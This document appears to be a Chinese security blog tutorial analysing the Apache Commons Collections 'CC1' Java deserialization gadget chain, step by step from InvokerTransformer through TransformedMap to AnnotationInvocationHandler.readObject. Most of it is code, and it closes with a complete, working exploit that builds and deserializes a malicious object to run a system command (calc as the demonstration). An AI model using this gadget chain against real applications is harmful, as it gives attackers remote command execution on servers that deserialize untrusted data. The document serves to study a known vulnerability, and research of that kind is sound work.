前言 Apache Commons Collections是java官方集合工具的加强补丁包,专门补原生java集合不好用,功能缺失的问题,cc链就是在Commons Collections包中的反序列化利用链,本文分析的cc1链依赖环境:JDK版本:1.8.0_8u65,Commons Collections 3.2.1及以下版本
漏洞原理分析 cc1链路流程如下
1 AnnotationInvocationHandler.readObject()----AbstractMapEntryDecorator.setValue()---TransformedMap.checkSetValue()---ChainedTransformer.transform()--InvokerTransformer. transform()---Runtime.getruntime().exec()
java原生的反序列化要满足两个条件,入口类实现序列化接口并且重写了readObject函数,重写之后才有可能执行危险的方法。
这里一个函数调用接口,输入任意object对象,输出转换后新的object类型对象。找一下继承这个接口的所有实现类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public class InvokerTransformer implements Transformer , Serializable{ public Object transform (Object input) { if (input == null ) { return null ; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException ("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist" ); } catch (IllegalAccessException ex) { throw new FunctorException ("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed" ); } catch (InvocationTargetException ex) { throw new FunctorException ("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception" , ex); } }
InvokerTransformer实现了Transformer接口并且重写了transformer方法 ,关键代码就在
1 2 3 4 Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs);
这三个参数:方法名,参数类型,参数,这三个参数
1 2 3 4 5 6 7 public InvokerTransformer (String methodName, Class[] paramTypes, Object[] args) { super (); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; }
这三个参数是我们可控的,分析到这就可以执行任意命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 package org.example;import javax.xml.transform.*;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.InvokerTransformer;import java.util.Properties;public class test1 { public static void main (String[] args) { Transformer invoker = new InvokerTransformer ( "exec" , new Class []{String.class}, new Object []{"calc.exe" } ); invoker.transform(Runtime.getRuntime()); } }
这个类是链子的终点,接下来需要往上找,看一下那些类调用了这个transform方法
这里看TransformedMap类下的checkSetvalue方法
1 2 3 4 5 6 7 8 9 protected TransformedMap (Map map, Transformer keyTransformer, Transformer valueTransformer) { super (map); this .keyTransformer = keyTransformer; this .valueTransformer = valueTransformer; } protected Object checkSetValue (Object value) { return valueTransformer.transform(value); }
这就相当于一个实现自动转换的Map包装类,在往Map中放值是自动执行了这个checkSetValue.
这里会直接调用valueTransformer的transform方法,如果我们传入的valueTransformer是invokerTransformer的对象,等价于
1 valueTransformer.transform(Runtime.getRuntime())->InvokerTransformer.transform(Runtime.getRuntime())->Runtime.getRuntime().exec("calc.exe")
由于修饰符是protected,只有自己这个类可以调用,外部类不能直接调用,在TransformedMap中有一个静态方法
1 2 3 public static Map decorate (Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap (map, keyTransformer, valueTransformer); }
这个decorate方法调用了TransformedMap的构造方法,
1 2 3 4 5 6 7 8 9 10 11 12 public class test1 { public static void main (String[] args) { Transformer invoker = new InvokerTransformer ( "exec" , new Class []{String.class}, new Object []{"calc.exe" } ); HashMap<Object,Object> map=new HashMap <>(); Map<Object,Object> transformedmap= TransformedMap.decorate(map,null ,invoker); } }
这里就是new了一个TransformedMap对象,只要能够修改值,就会触发
1 valueTransformer.transform(Runtime.getRuntime())->InvokerTransformer.transform(Runtime.getRuntime())->Runtime.getRuntime().exec("calc.exe")
接下来就是要想办法调用这个checkSetVaule方法.
AbstractMapEntryDecorator.setValue()
这里看到只有一个位置调用了checkSetValue方法,就是TransformedMap的父类AbstractInputCheckedMapDecorator有一个MapEntry类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 static class MapEntry extends AbstractMapEntryDecorator { private final AbstractInputCheckedMapDecorator parent; protected MapEntry (Map.Entry entry, AbstractInputCheckedMapDecorator parent) { super (entry); this .parent = parent; } public Object setValue (Object value) { value = parent.checkSetValue(value); return entry.setValue(value); } } }
我们首先更遍历map拿到键值对,然后调用setValue,value就是Runtime.getRuntime()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public class test1 { public static void main (String[] args) { Transformer invoker = new InvokerTransformer ( "exec" , new Class []{String.class}, new Object []{"calc.exe" } ); HashMap<Object,Object> map=new HashMap <>(); map.put("aaa" , "bbb" ); Map<Object,Object> transformedmap= TransformedMap.decorate(map,null ,invoker); for (Map.Entry entry:transformedmap.entrySet()){ entry.setValue(Runtime.getRuntime()); } } }
再理一下思路,首先实例化一个hashMap,放入一个键值对,然后把这个当作参数传入TransformedMap.decorate,上面说了执行decorate会实例化一个对象,这个对象也是Map类型,这个map是被包装过的map,然后执行了setValue。就是
1 value = parent.checkSetValue(Runtime.getRuntime());
这里的parent 是transformedmap,因为TransformedMap继承了AbstractInputCheckedMapDecorator,这个父类又重写了setValue方法,
这个重写后有调用了checkSetValue。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 entry.setValue(Runtime.getRuntime()) ↓ MapEntry.setValue(重写) ↓ parent.checkSetValue(value) ↓ TransformedMap.checkSetValue(value) ↓ valueTransformer.transform(value) ↓ InvokerTransformer.transform(Runtime.getRuntime()) ↓ 反射执行 exec("calc.exe") ↓ 弹出计算器
接下来就是寻找那个方法调用了setValue,要是还重写了readObject方法就更好了。然后找到了AnnotationInvocationHandler类
AnnotationInvocationHandler
这个类是可序列化的,然后就是重写了readObject()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); AnnotationType annotationType = null ; try { annotationType = AnnotationType.getInstance(type); } catch (IllegalArgumentException e) { throw new java .io.InvalidObjectException("Non-annotation type in annotation serial stream" ); } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null ) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy ( value.getClass() + "[" + value + "]" ).setMember( annotationType.members().get(name))); } } } } }
他会遍历map调用setValue,看一下构造函数
1 2 3 4 5 6 7 8 9 AnnotationInvocationHandler(Class<? extends Annotation > type, Map<String, Object> memberValues) { Class<?>[] superInterfaces = type.getInterfaces(); if (!type.isAnnotation() || superInterfaces.length != 1 || superInterfaces[0 ] != java.lang.annotation.Annotation.class) throw new AnnotationFormatError ("Attempt to create proxy for a non-annotation type." ); this .type = type; this .memberValues = memberValues; }
主要看两个参数,type是注解的类型,随便写一个就行,后面的map就传入我们TransformedMap,这个类定义的时候没写pubilc,需要使用反射构造,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 public class test1 { public static void main (String[] args) throws Exception { Transformer invoker = new InvokerTransformer ( "exec" , new Class []{String.class}, new Object []{"calc.exe" } ); HashMap<Object,Object> map=new HashMap <>(); map.put("aaa" , "bbb" ); Map<Object,Object> transformedmap= TransformedMap.decorate(map,null ,invoker); Class cc=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructorcc=cc.getDeclaredConstructor(Class.class,Map.class); constructorcc.setAccessible(true ); Object cc1= constructorcc.newInstance(Override.class,transformedmap); serialize(cc1); unserialize("cc1.txt" ); } public static void serialize (Object object) throws Exception{ ObjectOutputStream oos=new ObjectOutputStream (new FileOutputStream ("cc1.txt" )); oos.writeObject(object); } public static void unserialize (String filename) throws Exception{ ObjectInputStream objectInputStream=new ObjectInputStream (new FileInputStream (filename)); objectInputStream.readObject(); } }
运行没有弹计算器,还要需要解决三个问题
问题1-Runtime.getRuntime()对象不可被反序列化 首先看一下Runtime
这个类是没有serializable接口的,不能被反序列化,但是class对象可以序列化
代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 public class test2 { public static void main (String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { Class cc = Runtime.class; Method getRuntime=cc.getDeclaredMethod("getRuntime" ,null ); Runtime r=(Runtime) getRuntime.invoke(null ,null ); Method exec=cc.getDeclaredMethod("exec" ,String.class); exec.invoke(r,"calc" ); } }
这里在说一下这个Runtime类,
1 2 3 4 5 6 7 public class Runtime { private static Runtime currentRuntime = new Runtime (); public static Runtime getRuntime () { return currentRuntime; } private Runtime () {}
代码中定义的构造函数是private,外部不能直接new对象,通过这个Runtime方法可以创建可以Runtime对象,currentRuntime,相当于一种单例模式。获得Runtime对象就可以通过反射执行命令
使用反射就可以调用方法
1 2 3 Object getRuntimeMethod = new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }).transform(Runtime.class); Runtime r = (Runtime) new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }).transform(getRuntimeMethod); new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }).transform(r);
在Commons Collections库中存在的ChainedTransformer类,他也存在transform方法可以帮助我们简化上述代码
1 2 3 4 5 6 7 8 9 10 11 public ChainedTransformer (Transformer[] transformers) { super (); iTransformers = transformers; } public Object transform (Object object) { for (int i = 0 ; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; }
代码关键就是这个for循环,每一个transformer依次执行,前一个输出变成下一个输入,直到全部执行完
1 2 3 4 5 6 7 8 9 Transformer[] transformers = new Transformer []{ new InvokerTransformer ("getDeclaredMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer=new ChainedTransformer (transformers);
然后解决完这个问题,在执行setValue前还有两个if语句。
问题2-两个if问题 1 2 3 4 if (memberType != null ) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy))
第一个if是判断megberType是否为空,下个断点看一下
代码到这memberType为空,一个if都过不了没法执行下面的代码,现在就是要解决memberType为空的问题,看一下相关代码
1 2 3 4 5 annotationType = AnnotationType.getInstance(type); Map<String, Class<?>> memberTypes = annotationType.memberTypes(); String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name);
这里需要传入的map中的key与注解中拿到的key相同才不会为空,我们传入的注解是Override,
这个为空,需要换一个注解
我们只需要修改注解为Target还有map中的key为value就可以通过第一个if
第二个if它俩能不能强转,肯定强转不了的。通过了这两个if
问题3- setValue 方法参数不可控 1 2 3 4 memberValue.setValue( new AnnotationTypeMismatchExceptionProxy ( value.getClass() + "[" + value + "]" ).setMember( annotationType.members().get(name)));
这里的setValue的参数不可控我们没办法达到目的,需要使用Transformer接口的一个子类ConstantTransformer
1 2 3 4 5 6 7 public class ConstantTransformer implements Transformer , Serializable { public ConstantTransformer (Object constantToReturn) { super (); iConstant = constantToReturn; } public Object transform (Object input) { return iConstant; }
这个transform方法无论传入什么参数都只会返回iConstant,而iConstant 属性在 ConstantTransformer 的构造方法中被赋值,接下来把iConstant属性赋值为Runtime.class,放进构造的数组最顶层,ConstantTransformer 的 transform 方法都会返回Runtime.class,然后就开始调用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 package org.example;import javax.xml.transform.*;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationTargetException;import java.util.HashMap;import java.util.Map;import java.util.Properties;public class test1 { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getDeclaredMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer=new ChainedTransformer (transformers); HashMap<Object,Object> map=new HashMap <>(); map.put("value" , "bbb" ); Map<Object,Object> transformedmap= TransformedMap.decorate(map,null ,chainedTransformer); Class cc=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructorcc=cc.getDeclaredConstructor(Class.class,Map.class); constructorcc.setAccessible(true ); Object cc1= constructorcc.newInstance(Target.class,transformedmap); serialize(cc1); unserialize("cc1.txt" ); } public static void serialize (Object object) throws Exception{ ObjectOutputStream oos=new ObjectOutputStream (new FileOutputStream ("cc1.txt" )); oos.writeObject(object); } public static void unserialize (String filename) throws Exception{ ObjectInputStream objectInputStream=new ObjectInputStream (new FileInputStream (filename)); objectInputStream.readObject(); } }